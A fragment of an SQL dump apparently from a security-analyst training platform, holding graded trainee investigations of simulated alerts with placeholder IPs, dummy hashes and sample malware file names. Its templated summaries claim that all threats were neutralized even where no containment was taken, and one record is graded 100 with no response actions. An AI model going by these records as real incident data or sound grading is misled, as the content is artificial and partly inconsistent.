'{\"verdict_correctness\":\"Correct\",\"key_findings\":\"Verdict is correct (+40). All critical artifacts identified (+30). Response actions correct (+30)\",\"missed_items\":[],\"strengths\":\"Solid analysis\"}', NULL, '2026-02-27 02:24:38', '2026-02-28 21:00:00', 0, NULL),
(347, 189, 291, 'investigating', NULL, NULL, '{\"playbook_version\":2,\"checkedArtifacts\":[\"ip-192.168.1.15\",\"ip-203.0.113.45\",\"hash-e99a18c4\",\"cmd-1\",\"artifact_4\",\"artifact_5\"],\"selectedActions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"verdict\":\"true_positive\",\"conclusion\":\"INVESTIGATION EXECUTIVE SUMMARY\\n===============================\\nDATE: 2/27/2026, 3:31:48 AM\\nALERT: Persistence Mechanism Identified [OP: Operation Black Harvest]\\nVERDICT: TRUE POSITIVE\\n\\nKEY FINDINGS (6)\\n----------------\\n- [IP] 192.168.1.15\\n- [IP] 203.0.113.45\\n- [HASH] e99a18c428cb38d5f260853678922e03\\n- [COMMAND] \\\"C:\\\\Users\\\\jdoe\\\\AppData\\\\Roaming\\\\trickbot.exe\\\" --silent\\n- [FILENAME] trickbot.exe\\n- [USERNAME] jdoe\\n\\nCONTAINMENT PROTOCOLS DEPLOYED (6)\\n------------------------------\\n- Isolate Host\\n- Block IP/Domain\\n- Block File Hash\\n- Reset Credentials\\n- Collect Forensics\\n- Escalate to Tier 3\\n\\nANALYSIS\\n--------\\nInvestigation concluded based on verified telemetry and playbook protocols. All identified threats have been neutralized or escalated as per standard operating procedure.\\n\\nSIGNED: AMADOU MANE\",\"submitted_at\":\"2026-02-27T02:32:05.023Z\"}', '{\"verdict_correctness\":\"Correct\",\"key_findings\":\"Verdict is correct (+40). All critical artifacts identified (+30). Response actions correct (+30)\",\"missed_items\":[],\"strengths\":\"Solid analysis\"}', NULL, '2026-02-27 02:28:30', '2026-02-28 21:00:00', 0, NULL),
(348, 189, 292, 'investigating', NULL, NULL, '{\"playbook_version\":2,\"checkedArtifacts\":[\"ip-193.161.35.75\",\"ip-10.10.15.23\",\"hash-b1946ac9\",\"artifact_4\",\"artifact_5\"],\"selectedActions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"verdict\":\"true_positive\",\"conclusion\":\"INVESTIGATION EXECUTIVE SUMMARY\\n===============================\\nDATE: 2/27/2026, 3:37:43 AM\\nALERT: Cobalt Strike Beacon Detected [OP: Operation Black Harvest]\\nVERDICT: TRUE POSITIVE\\n\\nKEY FINDINGS (5)\\n----------------\\n- [IP] 193.161.35.75\\n- [IP] 10.10.15.23\\n- [HASH] b1946ac92492d2347c6235b4d2611184\\n- [FILENAME] beacon.exe\\n- [USERNAME] janedoe\\n\\nCONTAINMENT PROTOCOLS DEPLOYED (6)\\n------------------------------\\n- Isolate Host\\n- Block IP/Domain\\n- Block File Hash\\n- Reset Credentials\\n- Collect Forensics\\n- Escalate to Tier 3\\n\\nANALYSIS\\n--------\\nInvestigation concluded based on verified telemetry and playbook protocols. All identified threats have been neutralized or escalated as per standard operating procedure.\\n\\nSIGNED: Amadou MANE\",\"submitted_at\":\"2026-02-27T02:37:57.252Z\"}', '{\"verdict_correctness\":\"Correct\",\"key_findings\":\"Verdict is correct (+40). All critical artifacts identified (+30). Response actions correct (+30)\",\"missed_items\":[],\"strengths\":\"Solid analysis\"}', NULL, '2026-02-27 02:32:05', '2026-02-28 21:00:00', 0, NULL),
(349, 189, 293, 'investigating', NULL, NULL, '{\"playbook_version\":2,\"checkedArtifacts\":[\"ip-198.51.100.23\",\"hash-a3f5d6e8\",\"artifact_2\",\"artifact_4\",\"artifact_5\"],\"selectedActions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"verdict\":\"true_positive\",\"conclusion\":\"INVESTIGATION EXECUTIVE SUMMARY\\n===============================\\nDATE: 2/27/2026, 3:45:38 AM\\nALERT: Ransomware Encryption Initiated [OP: Operation Black Harvest]\\nVERDICT: TRUE POSITIVE\\n\\nKEY FINDINGS (5)\\n----------------\\n- [IP] 198.51.100.23\\n- [HASH] a3f5d6e8b9c2d4a1e9f8b6c4d5e9a2b3\\n- [IP] 10.0.0.25\\n- [FILENAME] patient_records.dat\\n- [USERNAME] hospital_admin\\n\\nCONTAINMENT PROTOCOLS DEPLOYED (6)\\n------------------------------\\n- Isolate Host\\n- Block IP/Domain\\n- Block File Hash\\n- Reset Credentials\\n- Collect Forensics\\n- Escalate to Tier 3\\nOn Windows 10, enable cloud-delivered protection and Attack Surface Reduction (ASR) rules to block the execution of files that resemble ransomware.[163] In AWS environments, create an IAM policy to restrict or block the use of SSE-C on S3 buckets\\n\\nANALYSIS\\n--------\\nInvestigation concluded based on verified telemetry and playbook protocols. All identified threats have been neutralized or escalated as per standard operating procedure.\\n\\nSIGNED: Amadou MANE\",\"submitted_at\":\"2026-02-27T02:46:10.646Z\"}', '{\"verdict_correctness\":\"Correct\",\"key_findings\":\"Verdict is correct (+40). All critical artifacts identified (+30). Response actions correct (+30)\",\"missed_items\":[],\"strengths\":\"Solid analysis\"}', NULL, '2026-02-27 02:37:57', '2026-02-28 21:00:00', 0, NULL),
(350, 189, 294, 'investigating', NULL, NULL, '{\"playbook_version\":2,\"checkedArtifacts\":[\"ip-203.0.113.45\",\"artifact_1\",\"artifact_2\"],\"selectedActions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"verdict\":\"true_positive\",\"conclusion\":\"INVESTIGATION EXECUTIVE SUMMARY\\n===============================\\nDATE: 2/27/2026, 3:49:36 AM\\nALERT: Initial Access via Spear Phishing Campaign [OP: Operation Golden Ticket]\\nVERDICT: TRUE POSITIVE\\n\\nKEY FINDINGS (3)\\n----------------\\n- [IP] 203.0.113.45\\n- [EMAIL] it-security@bank.com\\n- [HASH] e99a18c428cb38d5f260853678922e03\\n\\nCONTAINMENT PROTOCOLS DEPLOYED (6)\\n------------------------------\\n- Isolate Host\\n- Block IP/Domain\\n- Block File Hash\\n- Reset Credentials\\n- Collect Forensics\\n- Escalate to Tier 3\\n\\nANALYSIS\\n--------\\nInvestigation concluded based on verified telemetry and playbook protocols. All identified threats have been neutralized or escalated as per standard operating procedure.\\n\\nSIGNED:Amadou MANE\",\"submitted_at\":\"2026-02-27T02:49:49.789Z\"}', '{\"verdict_correctness\":\"Correct\",\"key_findings\":\"Verdict is correct (+40). All critical artifacts identified (+30). Response actions correct (+30)\",\"missed_items\":[],\"strengths\":\"Solid analysis\"}', NULL, '2026-02-27 02:46:32', '2026-02-28 21:00:00', 0, NULL),
(351, 189, 295, 'investigating', NULL, NULL, '{\"playbook_version\":2,\"checkedArtifacts\":[\"ip-192.168.10.45\",\"ip-203.0.113.15\",\"cmd-1\",\"artifact_3\",\"artifact_4\",\"artifact_5\"],\"selectedActions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"verdict\":\"true_positive\",\"conclusion\":\"INVESTIGATION EXECUTIVE SUMMARY\\n===============================\\nDATE: 2/27/2026, 3:51:13 AM\\nALERT: Malware Execution and Credential Harvesting [OP: Operation Golden Ticket]\\nVERDICT: TRUE POSITIVE\\n\\nKEY FINDINGS (6)\\n----------------\\n- [IP] 192.168.10.45\\n- [IP] 203.0.113.15\\n- [COMMAND] C:\\\\Users\\\\jdoe\\\\AppData\\\\Roaming\\\\credential_harvester.exe\\n- [HASH] 5f4dcc3b5aa765d61d8327deb882cf99\\n- [FILENAME] credential_harvester.exe\\n- [USERNAME] jdoe\\n\\nCONTAINMENT PROTOCOLS DEPLOYED (6)\\n------------------------------\\n- Isolate Host\\n- Block IP/Domain\\n- Block File Hash\\n- Reset Credentials\\n- Collect Forensics\\n- Escalate to Tier 3\\n\\nANALYSIS\\n--------\\nInvestigation concluded based on verified telemetry and playbook protocols. All identified threats have been neutralized or escalated as per standard operating procedure.\\n\\nSIGNED: AMADOU MANE\",\"submitted_at\":\"2026-02-27T02:51:25.909Z\"}', '{\"verdict_correctness\":\"Correct\",\"key_findings\":\"Verdict is correct (+40). All critical artifacts identified (+30). Response actions correct (+30)\",\"missed_items\":[],\"strengths\":\"Solid analysis\"}', NULL, '2026-02-27 02:49:49', '2026-02-28 21:00:00', 0, NULL),
(352, 189, 296, 'investigating', NULL, NULL, '{\"playbook_version\":2,\"checkedArtifacts\":[\"ip-192.168.1.105\",\"ip-10.0.2.15\",\"ip-203.0.113.45\",\"hash-e99a18c4\",\"artifact_4\"],\"selectedActions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"verdict\":\"true_positive\",\"conclusion\":\"INVESTIGATION EXECUTIVE SUMMARY\\n===============================\\nDATE: 2/27/2026, 3:54:36 AM\\nALERT: Lateral Movement through Network Exploitation [OP: Operation Golden Ticket]\\nVERDICT: TRUE POSITIVE\\n\\nKEY FINDINGS (5)\\n----------------\\n- [IP] 192.168.1.105\\n- [IP] 10.0.2.15\\n- [IP] 203.0.113.45\\n- [HASH] e99a18c428cb38d5f260853678922e03\\n- [USERNAME] jdoe_admin\\n\\nCONTAINMENT PROTOCOLS DEPLOYED (6)\\n------------------------------\\n- Isolate Host\\n- Block IP/Domain\\n- Block File Hash\\n- Reset Credentials\\n- Collect Forensics\\n- Escalate to Tier 3\\n\\nANALYSIS\\n--------\\nInvestigation concluded based on verified telemetry and playbook protocols. All identified threats have been neutralized or escalated as per standard operating procedure.\\n\\nSIGNED: AMADOU MANE\",\"submitted_at\":\"2026-02-27T02:54:51.331Z\"}', '{\"verdict_correctness\":\"Correct\",\"key_findings\":\"Verdict is correct (+40). All critical artifacts identified (+30). Response actions correct (+30)\",\"missed_items\":[],\"strengths\":\"Solid analysis\"}', NULL, '2026-02-27 02:51:25', '2026-02-28 21:00:00', 0, NULL),
(353, 189, 297, 'investigating', NULL, NULL, '{\"playbook_version\":2,\"checkedArtifacts\":[\"ip-203.0.113.45\",\"ip-192.168.1.25\",\"hash-4e5b6c7d\",\"artifact_3\"],\"selectedActions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"verdict\":\"true_positive\",\"conclusion\":\"INVESTIGATION EXECUTIVE SUMMARY\\n===============================\\nDATE: 2/27/2026, 3:57:27 AM\\nALERT: Manipulation of ATM Withdrawal Limits and SWIFT Gateway [OP: Operation Golden Ticket]\\nVERDICT: TRUE POSITIVE\\n\\nKEY FINDINGS (4)\\n----------------\\n- [IP] 203.0.113.45\\n- [IP] 192.168.1.25\\n- [HASH] 4e5b6c7d8f9a0b1c2d3e4f5g6h7i8j9k\\n- [USERNAME] jdoe_admin\\n\\nCONTAINMENT PROTOCOLS DEPLOYED (6)\\n------------------------------\\n- Isolate Host\\n- Block IP/Domain\\n- Block File Hash\\n- Reset Credentials\\n- Collect Forensics\\n- Escalate to Tier 3\\n\\nANALYSIS\\n--------\\nInvestigation concluded based on verified telemetry and playbook protocols. All identified threats have been neutralized or escalated as per standard operating procedure.\\n\\nSIGNED: AMADOU MANE\",\"submitted_at\":\"2026-02-27T02:57:42.725Z\"}', '{\"verdict_correctness\":\"Correct\",\"key_findings\":\"Verdict is correct (+40). All critical artifacts identified (+30). Response actions correct (+30)\",\"missed_items\":[],\"strengths\":\"Solid analysis\"}', NULL, '2026-02-27 02:54:51', '2026-02-28 21:00:00', 0, NULL),
(354, 189, 304, 'graded', 100, 'Verdict is correct (+40). All critical artifacts identified (+30). Response actions correct (+30)', '{\"playbook_version\":2,\"checkedArtifacts\":[\"ip-203.0.113.45\",\"ip-192.168.1.25\",\"domain-http://malic\",\"artifact_1\",\"artifact_2\"],\"selectedActions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"verdict\":\"true_positive\",\"conclusion\":\"INVESTIGATION EXECUTIVE SUMMARY\\n===============================\\nDATE: 3/4/2026, 2:45:49 AM\\nALERT: Spear Phishing Email Detected [OP: Operation Desert Mirage]\\nVERDICT: TRUE POSITIVE\\n\\nKEY FINDINGS (5)\\n----------------\\n- [IP] 203.0.113.45\\n- [IP] 192.168.1.25\\n- [DOMAIN] http://maliciousdomain.com/securelogin\\n- [EMAIL] finance.partner@maliciousdomain.com\\n- [HASH] d41d8cd98f00b204e9800998ecf8427e\\n\\nCONTAINMENT PROTOCOLS DEPLOYED (0)\\n------------------------------\\n(No active containment measures)\\n\\nANALYSIS\\n--------\\nInvestigation concluded based on verified telemetry and playbook protocols. All identified threats have been neutralized or escalated as per standard operating procedure.\\n\\nSIGNED: Amadou MANE\",\"submitted_at\":\"2026-03-04T01:46:47.206Z\"}', '{\"verdict_correctness\":\"Correct\",\"key_findings\":\"Verdict is correct (+40). All critical artifacts identified (+30). Response actions correct (+30)\",\"missed_items\":[],\"strengths\":\"Solid analysis\"}', NULL, '2026-02-27 02:57:56', '2026-03-04 01:46:47', 0, NULL),
(355, 209, 1285, 'investigating', NULL, NULL, NULL, NULL, '2026-02-27 07:14:49', '2026-02-27 04:05:49', '2026-02-27 04:05:49', 0, NULL),
(356, 214, 268, 'investigating', NULL, NULL, NULL, NULL, NULL, '2026-02-27 06:14:06', '2026-02-27 06:14:06', 0, NULL),
(357, 196, 268, 'investigating', NULL, NULL, '{\"playbook_version\":2,\"checkedArtifacts\":[\"artifact_1\",\"ip-192.168.1.100\",\"ip-10.0.0.15\",\"ip-203.0.113.45\",\"artifact_3\"],\"selectedActions\":[\"block_ip\",\"block_hash\",\"collect_forensics\",\"isolate_host\"],\"verdict\":\"true_positive\",\"conclusion\":\"INVESTIGATION EXECUTIVE SUMMARY\\n===============================\\nDATE: 2/27/2026, 2:57:07 PM\\nALERT: Phishing Email Detected [OP: Operation Iron Grid]\\nVERDICT: TRUE POSITIVE\\n\\nKEY FINDINGS (5)\\n----------------\\n- [IP] 192.168.1.100\\n- [IP] 10.0.0.15\\n- [IP] 203.0.113.45\\n- [EMAIL] abc123@example.com\\n- [HASH] 3a7bd3e2360f1edb0f3b4e5c7b6e9d5a\\n\\nCONTAINMENT PROTOCOLS DEPLOYED (4)\\n------------------------------\\n- Isolate Host\\n- Block IP/Domain\\n- Block File Hash\\n- Collect Forensics\\n\\nANALYSIS\\n--------\\nInvestigation concluded based on verified telemetry and playbook protocols. All identified threats have been neutralized or escalated as per standard operating procedure.\\n\\nSIGNED: Analyst (Auto-Generated)\",\"submitted_at\":\"2026-02-27T06:57:22.400Z\"}', '{\"verdict_correctness\":\"Correct\",\"key_findings\":\"Verdict is correct (+40). All critical artifacts identified (+30). Missed response actions (3/4)\",\"missed_items\":[\"escalate\"],\"strengths\":\"Solid analysis\"}', NULL, '2026-02-27 06:52:53', '2026-02-28 21:00:00', 0, NULL),
(358, 196, 269, 'investigating', NULL, NULL, '{\"playbook_version\":2,\"checkedArtifacts\":[\"ip-192.168.1.45\",\"ip-203.0.113.50\",\"hash-d41d8cd9\",\"artifact_4\",\"artifact_5\"],\"selectedActions\":[\"isolate_host\",\"block_hash\",\"collect_forensics\",\"block_ip\"],\"verdict\":\"true_positive\",\"conclusion\":\"INVESTIGATION EXECUTIVE SUMMARY\\n===============================\\nDATE: 2/27/2026, 2:59:20 PM\\nALERT: BlackEnergy Malware Execution [OP: Operation Iron Grid]\\nVERDICT: TRUE POSITIVE\\n\\nKEY FINDINGS (5)\\n----------------\\n- [IP] 192.168.1.45\\n- [IP] 203.0.113.50\\n- [HASH] d41d8cd98f00b204e9800998ecf8427e\\n- [FILENAME] invoice.doc\\n- [USERNAME] jdoe\\n\\nCONTAINMENT PROTOCOLS DEPLOYED (4)\\n------------------------------\\n- Isolate Host\\n- Block IP/Domain\\n- Block File Hash\\n- Collect Forensics\\n\\nANALYSIS\\n--------\\nInvestigation concluded based on verified telemetry and playbook protocols. All identified threats have been neutralized or escalated as per standard operating procedure.\\n\\nSIGNED: Analyst (Auto-Generated)\",\"submitted_at\":\"2026-02-27T06:59:24.541Z\"}', '{\"verdict_correctness\":\"Correct\",\"key_findings\":\"Verdict is correct (+40). All critical artifacts identified (+30). Response actions correct (+30)\",\"missed_items\":[],\"strengths\":\"Solid analysis\"}', NULL, '2026-02-27 06:57:22', '2026-02-28 21:00:00', 0, NULL),
(359, 196, 270, 'investigating', NULL, NULL, '{\"playbook_version\":2,\"checkedArtifacts\":[\"ip-203.0.113.45\",\"hash-3fa85f64\",\"artifact_1\",\"artifact_4\",\"artifact_5\"],\"selectedActions\":[\"isolate_host\",\"block_hash\",\"collect_forensics\"],\"verdict\":\"true_positive\",\"conclusion\":\"INVESTIGATION EXECUTIVE SUMMARY\\n===============================\\nDATE: 2/27/2026, 3:01:57 PM\\nALERT: Persistence Mechanism Established [OP: Operation Iron Grid]\\nVERDICT: TRUE POSITIVE\\n\\nKEY FINDINGS (5)\\n----------------\\n- [IP] 203.0.113.45\\n- [HASH] 3fa85f64-5717-4562-b3fc-2c963f66afa6\\n- [IP] 10.0.1.15\\n- [FILENAME] C:\\\\Users\\\\compromised_user\\\\AppData\\\\Local\\\\Temp\\\\malicious.exe\\n- [USERNAME] compromised_user\\n\\nCONTAINMENT PROTOCOLS DEPLOYED (3)\\n------------------------------\\n- Isolate Host\\n- Block File Hash\\n- Collect Forensics\\n\\nANALYSIS\\n--------\\nInvestigation concluded based on verified telemetry and playbook protocols. All identified threats have been neutralized or escalated as per standard operating procedure.\\n\\nSIGNED: Analyst (Auto-Generated)\",\"submitted_at\":\"2026-02-27T07:01:59.915Z\"}', '{\"verdict_correctness\":\"Correct\",\"key_findings\":\"Verdict is correct (+40). All critical artifacts identified (+30). Missed response actions (3/6)\",\"missed_items\":[\"block_ip\",\"reset_credentials\",\"escalate\"],\"strengths\":\"Solid analysis\"}', NULL, '2026-02-27 06:59:24', '2026-02-28 21:00:00', 0, NULL),
(360, 196, 271, 'investigating', NULL, NULL, '{\"playbook_version\":2,\"checkedArtifacts\":[\"ip-192.168.1.101\",\"ip-10.0.0.5\",\"hash-5f4dcc3b\",\"artifact_3\",\"artifact_5\"],\"selectedActions\":[\"isolate_host\",\"block_hash\",\"collect_forensics\",\"block_ip\",\"reset_credentials\"],\"verdict\":\"true_positive\",\"conclusion\":\"INVESTIGATION EXECUTIVE SUMMARY\\n===============================\\nDATE: 2/27/2026, 3:04:49 PM\\nALERT: Lateral Movement to OT Network [OP: Operation Iron Grid]\\nVERDICT: TRUE POSITIVE\\n\\nKEY FINDINGS (5)\\n----------------\\n- [IP] 192.168.1.101\\n- [IP] 10.0.0.5\\n- [HASH] 5f4dcc3b5aa765d61d8327deb882cf99\\n- [USERNAME] jdoe\\n- [IP] 203.0.113.55\\n\\nCONTAINMENT PROTOCOLS DEPLOYED (5)\\n------------------------------\\n- Isolate Host\\n- Block IP/Domain\\n- Block File Hash\\n- Reset Credentials\\n- Collect Forensics\\n\\nANALYSIS\\n--------\\nInvestigation concluded based on verified telemetry and playbook protocols. All identified threats have been neutralized or escalated as per standard operating procedure.\\n\\nSIGNED: Analyst (Auto-Generated)\",\"submitted_at\":\"2026-02-27T07:04:52.460Z\"}', '{\"verdict_correctness\":\"Correct\",\"key_findings\":\"Verdict is correct (+40). All critical artifacts identified (+30). Missed response actions (3/4)\",\"missed_items\":[\"escalate\"],\"strengths\":\"Solid analysis\"}', NULL, '2026-02-27 07:01:59', '2026-02-28 21:00:00', 0, NULL),
(361, 196, 272, 'investigating', NULL, NULL, '{\"playbook_version\":2,\"checkedArtifacts\":[\"ip-192.168.1.105\",\"ip-10.0.0.20\",\"hash-5d41402a\",\"artifact_2\",\"artifact_4\",\"artifact_5\"],\"selectedActions\":[\"isolate_host\",\"block_hash\",\"collect_forensics\",\"block_ip\",\"reset_credentials\",\"escalate\"],\"verdict\":\"true_positive\",\"conclusion\":\"INVESTIGATION EXECUTIVE SUMMARY\\n===============================\\nDATE: 2/27/2026, 3:06:35 PM\\nALERT: SCADA System Compromise [OP: Operation Iron Grid]\\nVERDICT: TRUE POSITIVE\\n\\nKEY FINDINGS (6)\\n----------------\\n- [IP] 192.168.1.105\\n- [IP] 10.0.0.20\\n- [HASH] 5d41402abc4b2a76b9719d911017c592\\n- [IP] 203.0.113.45\\n- [FILENAME] malicious_script.sh\\n- [USERNAME] unauthorized_user\\n\\nCONTAINMENT PROTOCOLS DEPLOYED (6)\\n------------------------------\\n- Isolate Host\\n- Block IP/Domain\\n- Block File Hash\\n- Reset Credentials\\n- Collect Forensics\\n- Escalate to Tier 3\\n\\nANALYSIS\\n--------\\nInvestigation concluded based on verified telemetry and playbook protocols. All identified threats have been neutralized or escalated as per standard operating procedure.\\n\\nSIGNED: Analyst (Auto-Generated)\",\"submitted_at\":\"2026-02-27T07:06:44.821Z\"}', '{\"verdict_correctness\":\"Correct\",\"key_findings\":\"Verdict is correct (+40). All critical artifacts identified (+30). Response actions correct (+30)\",\"missed_items\":[],\"strengths\":\"Solid analysis\"}', NULL, '2026-02-27 07:04:52', '2026-02-28 21:00:00', 0, NULL),
(362, 196, 274, 'investigating', NULL, NULL, NULL, NULL, NULL, '2026-02-27 07:06:58', '2026-02-27 07:06:58', 0, NULL),
(363, 217, 268, 'investigating', NULL, NULL, NULL, NULL, NULL, '2026-03-01 03:17:30', '2026-03-01 03:17:30', 0, NULL),
(364, 223, 268, 'investigating', NULL, NULL, NULL, NULL, NULL, '2026-03-01 15:51:16', '2026-03-01 15:51:16', 0, NULL),
(365, 224, 268, 'investigating', NULL, NULL, NULL, NULL, NULL, '2026-03-01 15:54:55', '2026-03-01 15:54:55', 0, NULL),
(366, 225, 268, 'graded', 85, 'Verdict is correct (+40). All critical artifacts identified (+30). Missed response actions (2/4)', '{\"playbook_version\":2,\"checkedArtifacts\":[\"ip-192.168.1.100\",\"ip-10.0.0.15\",\"ip-203.0.113.45\",\"artifact_1\",\"artifact_3\"],\"selectedActions\":[\"isolate_host\",\"block_hash\",\"block_ip\",\"reset_credentials\"],\"verdict\":\"true_positive\",\"conclusion\":\"INVESTIGATION EXECUTIVE SUMMARY\\n===============================\\nDATE: 02/03/2026, 4:24:24 pm\\nALERT: Phishing Email Detected [OP: Operation Iron Grid]\\nVERDICT: TRUE POSITIVE\\n\\nKEY FINDINGS (5)\\n----------------\\n- [IP] 192.168.1.100\\n- [IP] 10.0.0.15\\n- [IP] 203.0.113.45\\n- [EMAIL] abc123@example.com\\n- [HASH] 3a7bd3e2360f1edb0f3b4e5c7b6e9d5a\\n\\nCONTAINMENT PROTOCOLS DEPLOYED (4)\\n------------------------------\\n- Isolate Host\\n- Block IP/Domain\\n- Block File Hash\\n- Reset Credentials\\n\\nANALYSIS\\n--------\\nInvestigation concluded based on verified telemetry and playbook protocols. All identified threats have been neutralized or escalated as per standard operating procedure.\\n\\nSIGNED: Analyst (Auto-Generated)\",\"submitted_at\":\"2026-03-02T05:24:48.736Z\"}', '{\"verdict_correctness\":\"Correct\",\"key_findings\":\"Verdict is correct (+40). All critical artifacts identified (+30). Missed response actions (2/4)\",\"missed_items\":[\"collect_forensics\",\"escalate\"],\"strengths\":\"Solid analysis\"}', NULL, '2026-03-02 01:00:00', '2026-03-02 05:24:48', 0, NULL),
(367, 225, 269, 'graded', 100, 'Verdict is correct (+40). All critical artifacts identified (+30). Response actions correct (+30)', '{\"playbook_version\":2,\"checkedArtifacts\":[\"ip-192.168.1.45\",\"ip-203.0.113.50\",\"hash-d41d8cd9\",\"artifact_4\",\"artifact_5\"],\"selectedActions\":[\"isolate_host\",\"block_hash\",\"collect_forensics\",\"reset_credentials\",\"block_ip\",\"escalate\"],\"verdict\":\"true_positive\",\"conclusion\":\"INVESTIGATION EXECUTIVE SUMMARY\\n===============================\\nDATE: 02/03/2026, 4:27:24 pm\\nALERT: BlackEnergy Malware Execution [OP: Operation Iron Grid]\\nVERDICT: TRUE POSITIVE\\n\\nKEY FINDINGS (5)\\n----------------\\n- [IP] 192.168.1.45\\n- [IP] 203.0.113.50\\n- [HASH] d41d8cd98f00b204e9800998ecf8427e\\n- [FILENAME] invoice.doc\\n- [USERNAME] jdoe\\n\\nCONTAINMENT PROTOCOLS DEPLOYED (6)\\n------------------------------\\n- Isolate Host\\n- Block IP/Domain\\n- Block File Hash\\n- Reset Credentials\\n- Collect Forensics\\n- Escalate to Tier 3\\n\\nANALYSIS\\n--------\\nInvestigation concluded based on verified telemetry and playbook protocols. All identified threats have been neutralized or escalated as per standard operating procedure.\\n\\nSIGNED: Analyst (Auto-Generated)\",\"submitted_at\":\"2026-03-02T05:27:39.111Z\"}', '{\"verdict_correctness\":\"Correct\",\"key_findings\":\"Verdict is correct (+40). All critical artifacts identified (+30). Response actions correct (+30)\",\"missed_items\":[],\"strengths\":\"Solid analysis\"}', NULL, '2026-03-02 05:24:48', '2026-03-02 05:27:39', 0, NULL),
(368, 226, 268, 'investigating', NULL, NULL, NULL, NULL, NULL, '2026-03-02 05:27:10', '2026-03-02 05:27:10', 0, NULL),
(369, 225, 270, 'graded', 100, 'Verdict is correct (+40). All critical artifacts identified (+30). Response actions correct (+30)', '{\"playbook_version\":2,\"checkedArtifacts\":[\"ip-203.0.113.45\",\"hash-3fa85f64\",\"artifact_1\",\"artifact_4\",\"artifact_5\"],\"selectedActions\":[\"isolate_host\",\"block_hash\",\"collect_forensics\",\"escalate\",\"reset_credentials\",\"block_ip\"],\"verdict\":\"true_positive\",\"conclusion\":\"INVESTIGATION EXECUTIVE SUMMARY\\n===============================\\nDATE: 02/03/2026, 4:28:57 pm\\nALERT: Persistence Mechanism Established [OP: Operation Iron Grid]\\nVERDICT: TRUE POSITIVE\\n\\nKEY FINDINGS (5)\\n----------------\\n- [IP] 203.0.113.45\\n- [HASH] 3fa85f64-5717-4562-b3fc-2c963f66afa6\\n- [IP] 10.0.1.15\\n- [FILENAME] C:\\\\Users\\\\compromised_user\\\\AppData\\\\Local\\\\Temp\\\\malicious.exe\\n- [USERNAME] compromised_user\\n\\nCONTAINMENT PROTOCOLS DEPLOYED (6)\\n------------------------------\\n- Isolate Host\\n- Block IP/Domain\\n- Block File Hash\\n- Reset Credentials\\n- Collect Forensics\\n- Escalate to Tier 3\\n\\nANALYSIS\\n--------\\nInvestigation concluded based on verified telemetry and playbook protocols. All identified threats have been neutralized or escalated as per standard operating procedure.\\n\\nSIGNED: Analyst (Auto-Generated)\",\"submitted_at\":\"2026-03-02T05:29:01.620Z\"}', '{\"verdict_correctness\":\"Correct\",\"key_findings\":\"Verdict is correct (+40). All critical artifacts identified (+30). Response actions correct (+30)\",\"missed_items\":[],\"strengths\":\"Solid analysis\"}', NULL, '2026-03-02 05:27:39', '2026-03-02 05:29:01', 0, NULL),
(370, 229, 268, 'graded', 70, 'Verdict is correct (+40). All critical artifacts identified (+30). Missed response actions (0/4)', '{\"playbook_version\":2,\"checkedArtifacts\":[\"ip-192.168.1.100\",\"ip-10.0.0.15\",\"ip-203.0.113.45\",\"artifact_1\",\"artifact_3\"],\"selectedActions\":[\"close_alert\"],\"verdict\":\"true_positive\",\"conclusion\":\"INVESTIGATION EXECUTIVE SUMMARY\\n===============================\\nDATE: 3/10/2026, 6:20:15 PM\\nALERT: Phishing Email Detected [OP: Operation Iron Grid]\\nVERDICT: TRUE POSITIVE\\n\\nKEY FINDINGS (5)\\n----------------\\n- [IP] 192.168.1.100\\n- [IP] 10.0.0.15\\n- [IP] 203.0.113.45\\n- [EMAIL] abc123@example.com\\n- [HASH] 3a7bd3e2360f1edb0f3b4e5c7b6e9d5a\\n\\nCONTAINMENT PROTOCOLS DEPLOYED (1)\\n------------------------------\\n- Close (No Action)\\n\\nANALYSIS\\n--------\\nInvestigation concluded based on verified telemetry and playbook protocols. All identified threats have been neutralized or escalated as per standard operating procedure.\\n\\nSIGNED: Analyst (Auto-Generated)\",\"submitted_at\":\"2026-03-11T01:20:21.813Z\"}', '{\"verdict_correctness\":\"Correct\",\"key_findings\":\"Verdict is correct (+40). All critical artifacts identified (+30). Missed response actions (0/4)\",\"missed_items\":[\"block_ip\",\"block_hash\",\"collect_forensics\",\"escalate\"],\"strengths\":\"Needs improvement\"}', NULL, '2026-03-02 15:05:11', '2026-03-11 01:20:21', 0, NULL),
(371, 232, 268, 'graded', 78, 'Verdict is correct (+40). All critical artifacts identified (+30). Missed response actions (1/4)', '{\"playbook_version\":2,\"checkedArtifacts\":[\"ip-192.168.1.100\",\"ip-10.0.0.15\",\"ip-203.0.113.45\",\"artifact_1\",\"artifact_3\"],\"selectedActions\":[\"escalate\"],\"verdict\":\"true_positive\",\"conclusion\":\"INVESTIGATION EXECUTIVE SUMMARY\\n===============================\\nDATE: 3/7/2026, 1:50:26 PM\\nALERT: Phishing Email Detected [OP: Operation Iron Grid]\\nVERDICT: TRUE POSITIVE\\n\\nKEY FINDINGS (5)\\n----------------\\n- [IP] 192.168.1.100\\n- [IP] 10.0.0.15\\n- [IP] 203.0.113.45\\n- [EMAIL] abc123@example.com\\n- [HASH] 3a7bd3e2360f1edb0f3b4e5c7b6e9d5a\\n\\nCONTAINMENT PROTOCOLS DEPLOYED (1)\\n------------------------------\\n- Escalate to Tier 3\\n\\nANALYSIS\\n--------\\nInvestigation concluded based on verified telemetry and playbook protocols. All identified threats have been neutralized or escalated as per standard operating procedure.\\n\\nSIGNED: Analyst (Auto-Generated)\",\"submitted_at\":\"2026-03-07T08:20:36.127Z\"}', '{\"verdict_correctness\":\"Correct\",\"key_findings\":\"Verdict is correct (+40). All critical artifacts identified (+30). Missed response actions (1/4)\",\"missed_items\":[\"block_ip\",\"block_hash\",\"collect_forensics\"],\"strengths\":\"Needs improvement\"}', NULL, 